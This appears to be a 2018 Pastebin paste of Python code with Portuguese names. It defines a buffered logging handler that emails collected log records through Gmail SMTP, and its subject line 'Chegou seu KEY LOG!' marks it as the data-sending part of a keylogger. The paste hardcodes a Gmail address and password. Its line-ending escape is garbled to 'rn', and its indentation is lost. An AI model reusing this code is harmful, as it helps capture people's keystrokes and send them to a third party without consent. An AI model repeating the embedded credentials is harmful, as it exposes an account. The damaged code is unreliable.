Guest User

Untitled

a guest
Nov 4th, 2018
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.67 KB | None | 0 0
  1. class EmailHandler(logging.handlers.BufferingHandler):
  2. def __init__(self, usuario_gmail, senha_gmail, origem, destinos, assunto, capacidade):
  3. logging.handlers.BufferingHandler.__init__(self, capacidade)
  4. self.usuario_gmail = usuario_gmail
  5. self.senha_gmail = senha_gmail
  6. self.origem = origem
  7. self.destinos = destinos
  8. self.assunto = assunto
  9. self.setFormatter(logging.Formatter("%(asctime)s %(levelname)-5s %(message)s"))
  10.  
  11. def flush(self):
  12. if len(self.buffer) > 0:
  13. try:
  14. # monta a mensagem:
  15. msg = [
  16. "From: " + self.origem,
  17. "To: " + ','.join(self.destinos),
  18. "Subject: " + self.assunto,
  19. "",
  20. ]
  21. msg.extend(self.format(registro) for registro in self.buffer)
  22. msg = ''.join(linha + 'rn' for linha in msg).encode('utf-8')
  23.  
  24. # faz o envio:
  25. import smtplib
  26. smtp = smtplib.SMTP_SSL('smtp.gmail.com', 465)
  27. smtp.ehlo()
  28. smtp.login(self.usuario_gmail, self.senha_gmail)
  29. smtp.sendmail(self.origem, self.destinos, msg)
  30. smtp.close()
  31. except:
  32. self.handleError(None) # no particular record
  33. self.buffer = []
  34.  
  35. logging.getLogger().addHandler(EmailHandler(
  36. usuario_gmail='alexandreperalta@gmail.com',
  37. senha_gmail='senha235',
  38. origem='alexandreperalta@gmail.com',
  39. destinos=['usuario1@gmail.com', 'usuario2@gmail.com'],
  40. assunto='Chegou seu KEY LOG!',
  41. capacidade=200, # numero de logs a juntar antes de enviar
  42. ))
Add Comment
Please, Sign In to add comment